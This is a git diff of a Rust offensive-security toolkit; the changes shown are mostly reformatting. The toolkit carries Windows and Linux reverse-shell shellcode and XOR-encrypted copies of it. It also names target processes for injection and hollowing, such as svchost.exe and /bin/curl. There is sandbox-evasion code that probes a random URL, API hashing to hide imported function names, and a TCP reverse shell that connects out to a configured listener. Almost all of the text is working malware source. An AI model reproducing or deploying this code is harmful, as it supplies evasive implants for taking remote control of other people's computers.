0x18, 0x44, + 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, + 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, + 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, + 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, + 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, + 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, + 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xbe, 0x77, 0x73, 0x32, + 0x5f, 0x33, 0x32, 0x00, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x48, 0x81, 0xec, 0xa0, 0x01, 0x00, + 0x00, 0x49, 0x89, 0xe5, 0x49, 0xbc, 0x02, 0x00, 0x11, 0x5c, 0x7f, 0x00, 0x00, 0x01, 0x41, 0x54, + 0x49, 0x89, 0xe4, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x4c, 0x89, + 0xea, 0x68, 0x01, 0x01, 0x00, 0x00, 0x59, 0x41, 0xba, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x50, + 0x50, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc0, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc2, 0x48, 0xff, 0xc0, + 0x48, 0x89, 0xc1, 0x41, 0xba, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x48, 0x89, 0xc7, 0x6a, 0x10, + 0x41, 0x58, 0x4c, 0x89, 0xe2, 0x48, 0x89, 0xf9, 0x41, 0xba, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, + 0x48, 0x81, 0xc4, 0x40, 0x02, 0x00, 0x00, 0x49, 0xb8, 0x63, 0x6d, 0x64, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x41, 0x50, 0x41, 0x50, 0x48, 0x89, 0xe2, 0x57, 0x57, 0x57, 0x4d, 0x31, 0xc0, 0x6a, 0x0d, + 0x59, 0x41, 0x50, 0xe2, 0xfc, 0x66, 0xc7, 0x44, 0x24, 0x54, 0x01, 0x01, 0x48, 0x8d, 0x44, 0x24, + 0x18, 0xc6, 0x00, 0x68, 0x48, 0x89, 0xe6, 0x56, 0x50, 0x41, 0x50, 0x41, 0x50, 0x41, 0x50, 0x49, + 0xff, 0xc0, 0x41, 0x50, 0x49, 0xff, 0xc8, 0x4d, 0x89, 0xc1, 0x4c, 0x89, 0xc1, 0x41, 0xba, 0x79, + 0xcc, 0x3f, 0x86, 0xff, 0xd5, 0x48, 0x31, 0xd2, 0x48, 0xff, 0xca, 0x8b, 0x0e, 0x41, 0xba, 0x08, + 0x87, 0x1d, 0x60, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, + 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, + 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, +]; // Shellcode for Linux targets -pub const LINUX_SHELLCODE: &[u8] = &[0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48, 0xb9, 0x02, 0x00, 0x11, 0x5c, 0x7f, 0x00, 0x00, 0x01, 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0x0f, 0x05, 0x75, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05]; +pub const LINUX_SHELLCODE: &[u8] = &[ + 0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48, 0xb9, + 0x02, 0x00, 0x11, 0x5c, 0x7f, 0x00, 0x00, 0x01, 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x6a, + 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0x0f, 0x05, 0x75, + 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, + 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05, +]; // Key for XOR-encrypting shellcode pub const XOR_KEY: &[u8] = &[0x01, 0x02, 0x03, 0x04, 0x05]; // Windows process to inject into @@ -27,20 +62,61 @@ pub const WINDOWS_HOLLOWING_TARGET: &str = "C:\\Windows\\System32\\svchost.exe"; // Linux process to hollow (using a full path is advised) pub const LINUX_HOLLOWING_TARGET: &str = "/bin/curl"; - /* For process_migration with an encryption feature OR process_hollowing with an encryption feature */ // XOR-encrypted shellcode for Windows targets -pub const ENCRYPTED_WINDOWS_SHELLCODE: &[u8] = &[0xfd, 0x4a, 0x80, 0xe0, 0xf5, 0xe9, 0xc2, 0x03, 0x04, 0x05, 0x40, 0x53, 0x42, 0x54, 0x57, 0x50, 0x54, 0x4b, 0x35, 0xd7, 0x64, 0x4a, 0x88, 0x56, 0x65, 0x49, 0x89, 0x51, 0x1c, 0x4d, 0x8a, 0x50, 0x23, 0x4c, 0x8e, 0x73, 0x52, 0x4b, 0x0b, 0xb2, 0x4b, 0x48, 0x4e, 0x35, 0xcc, 0x49, 0x33, 0xc3, 0xa8, 0x39, 0x60, 0x7e, 0x01, 0x28, 0x25, 0x40, 0xc3, 0xca, 0x09, 0x44, 0x00, 0xc3, 0xe1, 0xe9, 0x57, 0x40, 0x53, 0x4b, 0x8f, 0x57, 0x21, 0x89, 0x41, 0x38, 0x4d, 0x00, 0xd2, 0x88, 0x84, 0x8d, 0x01, 0x02, 0x03, 0x4c, 0x80, 0xc1, 0x76, 0x64, 0x4c, 0x04, 0xd1, 0x52, 0x88, 0x4c, 0x1d, 0x45, 0x89, 0x43, 0x24, 0x4c, 0x00, 0xd2, 0xe0, 0x52, 0x4d, 0xfe, 0xcb, 0x42, 0x8f, 0x31, 0x89, 0x4a, 0x02, 0xd2, 0x48, 0x30, 0xcb, 0x4b, 0x35, 0xc5, 0xad, 0x43, 0xc2, 0xcd, 0x08, 0x40, 0x03, 0xc2, 0x3c, 0xe5, 0x74, 0xf3, 0x4f, 0x07, 0x49, 0x25, 0x0a, 0x46, 0x3d, 0xd4, 0x74, 0xda, 0x5b, 0x40, 0x8e, 0x41, 0x26, 0x4a, 0x05, 0xd5, 0x67, 0x43, 0x88, 0x08, 0x4d, 0x45, 0x89, 0x43, 0x18, 0x4c, 0x00, 0xd2, 0x42, 0x8f, 0x01, 0x89, 0x4a, 0x02, 0xd4, 0x44, 0x59, 0x43, 0x5b, 0x5a, 0x5c, 0x5b, 0x43, 0x5b, 0x45, 0x5c, 0x40, 0x58, 0x4b, 0x87, 0xe9, 0x21, 0x43, 0x51, 0xfb, 0xe5, 0x59, 0x43, 0x5a, 0x5e, 0x4d, 0x8a, 0x10, 0xea, 0x53, 0xfa, 0xfe, 0xfd, 0x5e, 0x4d, 0xbb, 0x76, 0x71, 0x31, 0x5b, 0x36, 0x33, 0x02, 0x03, 0x45, 0x53, 0x48, 0x8b, 0xe5, 0x4c, 0x84, 0xed, 0xa2, 0x02, 0x04, 0x05, 0x48, 0x8b, 0xe6, 0x4d, 0xb9, 0x03, 0x02, 0x12, 0x58, 0x7a, 0x01, 0x02, 0x02, 0x45, 0x51, 0x48, 0x8b, 0xe7, 0x48, 0x8c, 0xf0, 0x43, 0xb9, 0x48, 0x72, 0x27, 0x05, 0xfc, 0xd1, 0x49, 0x88, 0xe8, 0x6b, 0x05, 0x04, 0x01, 0x02, 0x5a, 0x45, 0xbf, 0x28, 0x82, 0x68, 0x04, 0xfa, 0xd4, 0x52, 0x53, 0x49, 0x34, 0xc8, 0x4f, 0x32, 0xc4, 0x4d, 0xfe, 0xc2, 0x4b, 0x8d, 0xc7, 0x49, 0xfd, 0xc3, 0x4c, 0x8c, 0xc0, 0x43, 0xb9, 0xee, 0x0a, 0xde, 0xe2, 0xfc, 0xd1, 0x4d, 0x88, 0xc5, 0x69, 0x14, 0x44, 0x59, 0x4e, 0x8a, 0xe6, 0x4d, 0x88, 0xfb, 0x42, 0xbe, 0x9c, 0xa4, 0x76, 0x62, 0xfb, 0xd0, 0x49, 0x83, 0xc7, 0x44, 0x07, 0x01, 0x02, 0x4a, 0xbc, 0x66, 0x6c, 0x66, 0x03, 0x04, 0x05, 0x01, 0x02, 0x42, 0x54, 0x44, 0x51, 0x4a, 0x8a, 0xe6, 0x52, 0x56, 0x55, 0x4e, 0x35, 0xc5, 0x6b, 0x0f, 0x5a, 0x45, 0x55, 0xe3, 0xfe, 0x65, 0xc3, 0x41, 0x25, 0x56, 0x02, 0x05, 0x4d, 0x8c, 0x46, 0x27, 0x1c, 0xc3, 0x01, 0x6a, 0x4b, 0x8d, 0xe3, 0x57, 0x52, 0x42, 0x54, 0x44, 0x51, 0x43, 0x53, 0x4d, 0xfa, 0xc1, 0x43, 0x53, 0x4d, 0xfa, 0xc9, 0x4f, 0x8a, 0xc5, 0x49, 0x88, 0xc3, 0x42, 0xbe, 0x7c, 0xcd, 0x3d, 0x85, 0xfb, 0xd0, 0x49, 0x33, 0xd1, 0x4c, 0xfa, 0xcb, 0x89, 0x0d, 0x45, 0xbf, 0x09, 0x85, 0x1e, 0x64, 0xfa, 0xd4, 0xb9, 0xf3, 0xb1, 0xa7, 0x57, 0x43, 0xb9, 0xa2, 0x90, 0xbc, 0x9f, 0xfc, 0xd1, 0x4d, 0x82, 0xc6, 0x2b, 0x38, 0x03, 0x7d, 0x08, 0x83, 0xff, 0xe5, 0x74, 0x07, 0xb8, 0x43, 0x16, 0x73, 0x6d, 0x69, 0x04, 0x5c, 0x40, 0x8b, 0xd9, 0xfb, 0xd0]; +pub const ENCRYPTED_WINDOWS_SHELLCODE: &[u8] = &[ + 0xfd, 0x4a, 0x80, 0xe0, 0xf5, 0xe9, 0xc2, 0x03, 0x04, 0x05, 0x40, 0x53, 0x42, 0x54, 0x57, 0x50, + 0x54, 0x4b, 0x35, 0xd7, 0x64, 0x4a, 0x88, 0x56, 0x65, 0x49, 0x89, 0x51, 0x1c, 0x4d, 0x8a, 0x50, + 0x23, 0x4c, 0x8e, 0x73, 0x52, 0x4b, 0x0b, 0xb2, 0x4b, 0x48, 0x4e, 0x35, 0xcc, 0x49, 0x33, 0xc3, + 0xa8, 0x39, 0x60, 0x7e, 0x01, 0x28, 0x25, 0x40, 0xc3, 0xca, 0x09, 0x44, 0x00, 0xc3, 0xe1, 0xe9, + 0x57, 0x40, 0x53, 0x4b, 0x8f, 0x57, 0x21, 0x89, 0x41, 0x38, 0x4d, 0x00, 0xd2, 0x88, 0x84, 0x8d, + 0x01, 0x02, 0x03, 0x4c, 0x80, 0xc1, 0x76, 0x64, 0x4c, 0x04, 0xd1, 0x52, 0x88, 0x4c, 0x1d, 0x45, + 0x89, 0x43, 0x24, 0x4c, 0x00, 0xd2, 0xe0, 0x52, 0x4d, 0xfe, 0xcb, 0x42, 0x8f, 0x31, 0x89, 0x4a, + 0x02, 0xd2, 0x48, 0x30, 0xcb, 0x4b, 0x35, 0xc5, 0xad, 0x43, 0xc2, 0xcd, 0x08, 0x40, 0x03, 0xc2, + 0x3c, 0xe5, 0x74, 0xf3, 0x4f, 0x07, 0x49, 0x25, 0x0a, 0x46, 0x3d, 0xd4, 0x74, 0xda, 0x5b, 0x40, + 0x8e, 0x41, 0x26, 0x4a, 0x05, 0xd5, 0x67, 0x43, 0x88, 0x08, 0x4d, 0x45, 0x89, 0x43, 0x18, 0x4c, + 0x00, 0xd2, 0x42, 0x8f, 0x01, 0x89, 0x4a, 0x02, 0xd4, 0x44, 0x59, 0x43, 0x5b, 0x5a, 0x5c, 0x5b, + 0x43, 0x5b, 0x45, 0x5c, 0x40, 0x58, 0x4b, 0x87, 0xe9, 0x21, 0x43, 0x51, 0xfb, 0xe5, 0x59, 0x43, + 0x5a, 0x5e, 0x4d, 0x8a, 0x10, 0xea, 0x53, 0xfa, 0xfe, 0xfd, 0x5e, 0x4d, 0xbb, 0x76, 0x71, 0x31, + 0x5b, 0x36, 0x33, 0x02, 0x03, 0x45, 0x53, 0x48, 0x8b, 0xe5, 0x4c, 0x84, 0xed, 0xa2, 0x02, 0x04, + 0x05, 0x48, 0x8b, 0xe6, 0x4d, 0xb9, 0x03, 0x02, 0x12, 0x58, 0x7a, 0x01, 0x02, 0x02, 0x45, 0x51, + 0x48, 0x8b, 0xe7, 0x48, 0x8c, 0xf0, 0x43, 0xb9, 0x48, 0x72, 0x27, 0x05, 0xfc, 0xd1, 0x49, 0x88, + 0xe8, 0x6b, 0x05, 0x04, 0x01, 0x02, 0x5a, 0x45, 0xbf, 0x28, 0x82, 0x68, 0x04, 0xfa, 0xd4, 0x52, + 0x53, 0x49, 0x34, 0xc8, 0x4f, 0x32, 0xc4, 0x4d, 0xfe, 0xc2, 0x4b, 0x8d, 0xc7, 0x49, 0xfd, 0xc3, + 0x4c, 0x8c, 0xc0, 0x43, 0xb9, 0xee, 0x0a, 0xde, 0xe2, 0xfc, 0xd1, 0x4d, 0x88, 0xc5, 0x69, 0x14, + 0x44, 0x59, 0x4e, 0x8a, 0xe6, 0x4d, 0x88, 0xfb, 0x42, 0xbe, 0x9c, 0xa4, 0x76, 0x62, 0xfb, 0xd0, + 0x49, 0x83, 0xc7, 0x44, 0x07, 0x01, 0x02, 0x4a, 0xbc, 0x66, 0x6c, 0x66, 0x03, 0x04, 0x05, 0x01, + 0x02, 0x42, 0x54, 0x44, 0x51, 0x4a, 0x8a, 0xe6, 0x52, 0x56, 0x55, 0x4e, 0x35, 0xc5, 0x6b, 0x0f, + 0x5a, 0x45, 0x55, 0xe3, 0xfe, 0x65, 0xc3, 0x41, 0x25, 0x56, 0x02, 0x05, 0x4d, 0x8c, 0x46, 0x27, + 0x1c, 0xc3, 0x01, 0x6a, 0x4b, 0x8d, 0xe3, 0x57, 0x52, 0x42, 0x54, 0x44, 0x51, 0x43, 0x53, 0x4d, + 0xfa, 0xc1, 0x43, 0x53, 0x4d, 0xfa, 0xc9, 0x4f, 0x8a, 0xc5, 0x49, 0x88, 0xc3, 0x42, 0xbe, 0x7c, + 0xcd, 0x3d, 0x85, 0xfb, 0xd0, 0x49, 0x33, 0xd1, 0x4c, 0xfa, 0xcb, 0x89, 0x0d, 0x45, 0xbf, 0x09, + 0x85, 0x1e, 0x64, 0xfa, 0xd4, 0xb9, 0xf3, 0xb1, 0xa7, 0x57, 0x43, 0xb9, 0xa2, 0x90, 0xbc, 0x9f, + 0xfc, 0xd1, 0x4d, 0x82, 0xc6, 0x2b, 0x38, 0x03, 0x7d, 0x08, 0x83, 0xff, 0xe5, 0x74, 0x07, 0xb8, + 0x43, 0x16, 0x73, 0x6d, 0x69, 0x04, 0x5c, 0x40, 0x8b, 0xd9, 0xfb, 0xd0, +]; // XOR-encrypted shellcode for Linux targets -pub const ENCRYPTED_LINUX_SHELLCODE: &[u8] = &[0x6b, 0x2b, 0x5b, 0x9d, 0x6f, 0x03, 0x5d, 0x69, 0x05, 0x5b, 0x0e, 0x07, 0x4b, 0x93, 0x4d, 0xb8, 0x00, 0x03, 0x15, 0x59, 0x7e, 0x02, 0x03, 0x05, 0x54, 0x49, 0x8b, 0xe5, 0x6e, 0x15, 0x5b, 0x68, 0x29, 0x5c, 0x0a, 0x04, 0x68, 0x00, 0x5a, 0x4d, 0xfe, 0xcc, 0x69, 0x25, 0x5d, 0x0e, 0x07, 0x76, 0xf2, 0x6f, 0x3a, 0x5a, 0x9a, 0x4c, 0xbe, 0x2e, 0x60, 0x6a, 0x6a, 0x2a, 0x72, 0x6a, 0x03, 0x57, 0x4d, 0x88, 0xe5, 0x51, 0x53, 0x4d, 0x88, 0xe4, 0x0c, 0x01]; +pub const ENCRYPTED_LINUX_SHELLCODE: &[u8] = &[ + 0x6b, 0x2b, 0x5b, 0x9d, 0x6f, 0x03, 0x5d, 0x69, 0x05, 0x5b, 0x0e, 0x07, 0x4b, 0x93, 0x4d, 0xb8, + 0x00, 0x03, 0x15, 0x59, 0x7e, 0x02, 0x03, 0x05, 0x54, 0x49, 0x8b, 0xe5, 0x6e, 0x15, 0x5b, 0x68, + 0x29, 0x5c, 0x0a, 0x04, 0x68, 0x00, 0x5a, 0x4d, 0xfe, 0xcc, 0x69, 0x25, 0x5d, 0x0e, 0x07, 0x76, + 0xf2, 0x6f, 0x3a, 0x5a, 0x9a, 0x4c, 0xbe, 0x2e, 0x60, 0x6a, 0x6a, 0x2a, 0x72, 0x6a, 0x03, 0x57, + 0x4d, 0x88, 0xe5, 0x51, 0x53, 0x4d, 0x88, 0xe4, 0x0c, 0x01, +]; // Windows process to inject into -pub const ENCRYPTED_WINDOWS_MIGRATION_TARGET: &[u8] = &[0x64, 0x7a, 0x73, 0x68, 0x6a, 0x73, 0x67, 0x71, 0x2a, 0x60, 0x79, 0x67]; +pub const ENCRYPTED_WINDOWS_MIGRATION_TARGET: &[u8] = &[ + 0x64, 0x7a, 0x73, 0x68, 0x6a, 0x73, 0x67, 0x71, 0x2a, 0x60, 0x79, 0x67, +]; // Linux process to inject into pub const ENCRYPTED_LINUX_MIGRATION_TARGET: &[u8] = &[0x60, 0x61, 0x73, 0x6d, 0x61]; // Windows process to hollow (using a full path is advised) -pub const ENCRYPTED_WINDOWS_HOLLOWING_TARGET: &[u8] = &[0x42, 0x38, 0x5f, 0x53, 0x6c, 0x6f, 0x66, 0x6c, 0x73, 0x76, 0x5d, 0x51, 0x7a, 0x77, 0x71, 0x64, 0x6f, 0x30, 0x36, 0x59, 0x72, 0x74, 0x60, 0x6c, 0x6a, 0x72, 0x76, 0x2d, 0x61, 0x7d, 0x64]; +pub const ENCRYPTED_WINDOWS_HOLLOWING_TARGET: &[u8] = &[ + 0x42, 0x38, 0x5f, 0x53, 0x6c, 0x6f, 0x66, 0x6c, 0x73, 0x76, 0x5d, 0x51, 0x7a, 0x77, 0x71, 0x64, + 0x6f, 0x30, 0x36, 0x59, 0x72, 0x74, 0x60, 0x6c, 0x6a, 0x72, 0x76, 0x2d, 0x61, 0x7d, 0x64, +]; // Linux process to hollow (using a full path is advised) -pub const ENCRYPTED_LINUX_HOLLOWING_TARGET: &[u8] = &[0x2e, 0x60, 0x6a, 0x6a, 0x2a, 0x62, 0x77, 0x71, 0x68]; +pub const ENCRYPTED_LINUX_HOLLOWING_TARGET: &[u8] = + &[0x2e, 0x60, 0x6a, 0x6a, 0x2a, 0x62, 0x77, 0x71, 0x68]; diff --git a/rco_utils/src/lib.rs b/rco_utils/src/lib.rs index 7e98d8a..3897498 100644 --- a/rco_utils/src/lib.rs +++ b/rco_utils/src/lib.rs @@ -1,30 +1,32 @@ -use std::error::Error; #[cfg(feature = "antistring")] use std::collections::hash_map::DefaultHasher; +use std::error::Error; #[cfg(feature = "antistring")] use std::hash::{Hash, Hasher}; +#[cfg(all(windows, feature = "antisand", feature = "antistring"))] +use core::ffi::c_void; #[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] use std::ffi::CString; #[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] use std::mem; #[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] use windows::core::PCSTR; -#[cfg(all(windows, feature = "antisand", feature = "antistring"))] -use core::ffi::c_void; #[cfg(all(windows, feature = "antisand"))] use rand::distributions::Alphanumeric; #[cfg(all(windows, feature = "antisand"))] use rand::Rng; -#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))] -use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA}; -#[cfg(all(windows, feature = "antistring"))] -use std::ptr; #[cfg(all(windows, feature = "antistring"))] use std::ffi::CStr; #[cfg(all(windows, feature = "antistring"))] -use windows::Win32::System::Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64}; +use std::ptr; +#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))] +use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA}; +#[cfg(all(windows, feature = "antistring"))] +use windows::Win32::System::Diagnostics::Debug::{ + IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64, +}; #[cfg(all(windows, feature = "antistring"))] use windows::Win32::System::LibraryLoader::LoadLibraryA; #[cfg(all(windows, feature = "antistring"))] @@ -42,12 +44,7 @@ fn equalize_slice_len(slice_one: &[T], slice_two: &[T]) -> }; ( longer.to_vec(), - shorter - .iter() - .cloned() - .cycle() - .take(longer.len()) - .collect() + shorter.iter().cloned().cycle().take(longer.len()).collect(), ) } @@ -60,7 +57,8 @@ fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result, Box bool { let lpsz_proxy = PCSTR::null(); let lpsz_proxy_bypass = PCSTR::null(); let internet_handle = unsafe { - mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void> - (function)(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0) + mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void>(function)( + lpsz_agent, + 0, + lpsz_proxy, + lpsz_proxy_bypass, + 0, + ) }; let length = rand::thread_rng().gen_range(20..40); @@ -159,8 +162,9 @@ pub fn pound_sand() -> bool { let mut lpsz_url = PCSTR::null(); lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8; let website = unsafe { - mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void> - (function)(internet_handle, lpsz_url, &[], 0, 0) + mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void>( + function, + )(internet_handle, lpsz_url, &[], 0, 0) }; if website != 0 as _ { return true; @@ -208,7 +212,7 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box lib_filename.0 = CString::new(dll).unwrap().into_raw() as *mut u8; let library_base = match unsafe { LoadLibraryA(lib_filename) } { Ok(value) => value, - Err(_) => panic!("Could not load {lib_filename:?}") + Err(_) => panic!("Could not load {lib_filename:?}"), }; let library_base_usize = library_base.0 as usize; @@ -216,12 +220,18 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box let dos_header: *const IMAGE_DOS_HEADER = library_base.0 as *const IMAGE_DOS_HEADER; // Calculate the address of the image headers - let image_headers: *const IMAGE_NT_HEADERS64 = unsafe { (library_base_usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64 }; + let image_headers: *const IMAGE_NT_HEADERS64 = unsafe { + (library_base_usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64 + }; // Get the relative virtual address of the export directory - let export_directory_rva = unsafe { (*image_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT.0 as usize].VirtualAddress }; + let export_directory_rva = unsafe { + (*image_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT.0 as usize] + .VirtualAddress + }; // Use the RVA to get the real address of the export directory - let image_export_directory: *const IMAGE_EXPORT_DIRECTORY = (library_base_usize + export_directory_rva as usize) as *const IMAGE_EXPORT_DIRECTORY; + let image_export_directory: *const IMAGE_EXPORT_DIRECTORY = + (library_base_usize + export_directory_rva as usize) as *const IMAGE_EXPORT_DIRECTORY; // Calculate the base addresses of the arrays holding function information let names_address = unsafe { library_base_usize + (*image_export_directory).AddressOfNames as usize }; @@ -252,7 +262,8 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box // Compare the hashed name to the name you are looking for if function_hash == name_hash { // Find the location of the function ordinal's RVA; it's the same index as the name array but each offset is only 2 bytes - let ordinals_offset_address: *const usize = (ordinals_address + (into_names / 2_usize)) as *const usize; + let ordinals_offset_address: *const usize = + (ordinals_address + (into_names / 2_usize)) as *const usize; // Read the RVA from its location let ordinal_offset: u16 = unsafe { ptr::read(ordinals_offset_address) as u16 }; @@ -275,7 +286,6 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box Err(format!("Could not find the function '{name_hash:x}' in '{dll}'").into()) } - #[macro_export] macro_rules! construct_win32_function { // Take in: diff --git a/tcp_reverse_shell/src/main.rs b/tcp_reverse_shell/src/main.rs index f78c7c9..453d03b 100644 --- a/tcp_reverse_shell/src/main.rs +++ b/tcp_reverse_shell/src/main.rs @@ -17,7 +17,7 @@ use rco_reverse_shell_windows_antistring::shell; fn main() { // Runs the sandbox detection function or the dummy replacement, dependent on features if rco_utils::pound_sand() { - return + return; } shell(rco_config::LISTENER_IP, rco_config::LISTENER_PORT); diff --git a/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs b/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs index b7158fc..3909046 100644 --- a/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs +++ b/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs @@ -1,11 +1,16 @@ +use std::ffi::{c_void, CStr, CString}; use std::{mem, ptr}; -use std::ffi::{CStr, CString, c_void}; use windows::core::{PCSTR, PSTR}; use windows::Win32::Foundation::HANDLE; -use windows::Win32::Networking::WinSock::{AF_INET, connect, htons, inet_pton, IPPROTO_TCP, SOCK_STREAM, SOCKADDR, SOCKADDR_IN, SOCKET, WSAData, WSASocketA, WSAStartup}; +use windows::Win32::Networking::WinSock::{ + connect, htons, inet_pton, WSAData, WSASocketA, WSAStartup, AF_INET, IPPROTO_TCP, SOCKADDR, + SOCKADDR_IN, SOCKET, SOCK_STREAM, +}; use windows::Win32::Security::SECURITY_ATTRIBUTES; use windows::Win32::System::SystemInformation::GetSystemDirectoryA; -use windows::Win32::System::Threading::{CreateProcessA, PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA}; +use windows::Win32::System::Threading::{ + CreateProcessA, PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA, +}; // https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms632663(v=vs.85) // Normally this is called by MAKEWORD(2,2), which is 514 @@ -15,12 +20,7 @@ pub fn shell(ip: &str, port: u16) { // Call WSAStartup so that you can do anything with sockets // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.WSAStartup.html - let wsa_start_result = unsafe { - WSAStartup( - WSASTARTUPVAL, - &mut WSAData::default() - ) - }; + let wsa_start_result = unsafe { WSAStartup(WSASTARTUPVAL, &mut WSAData::default()) }; if wsa_start_result != 0 { panic!("Unable to call WSAStartup") } @@ -33,9 +33,9 @@ pub fn shell(ip: &str, port: u16) { AF_INET.0 as i32, SOCK_STREAM as i32, IPPROTO_TCP.0, - ptr::null(), + ptr::null(), + 0, 0, - 0 ) }; @@ -44,23 +44,14 @@ pub fn shell(ip: &str, port: u16) { // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.inet_pton.html let mut sockaddr_in = SOCKADDR_IN { sin_family: AF_INET.0 as u16, - ..Default::default() + ..Default::default() }; // This is magic that I don't really understand but seems to work let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void; // Create a PCSTR and use the IP string as the 0 field - let ip_pcstr = PCSTR(CString::new(ip) - .unwrap() - .into_raw() as *mut u8 - ); + let ip_pcstr = PCSTR(CString::new(ip).unwrap().into_raw() as *mut u8); // Calling pton with the pointer sin_addr_ptr --> sockaddr_in.sin_addr should mean sockaddr_in.sin_addr has the IP struct now - let conversion_result = unsafe { - inet_pton( - AF_INET.0 as i32, - ip_pcstr, - sin_addr_ptr - ) - }; + let conversion_result = unsafe { inet_pton(AF_INET.0 as i32, ip_pcstr, sin_addr_ptr) }; if conversion_result != 1 { panic!("Unable to convert IP address to usable form with inet_pton") } @@ -68,20 +59,16 @@ pub fn shell(ip: &str, port: u16) { // Call htons to convert the port from a u16 to the TCP/IP network order // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-htons // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.htons.html - sockaddr_in.sin_port = unsafe { - htons( - port - ) - }; + 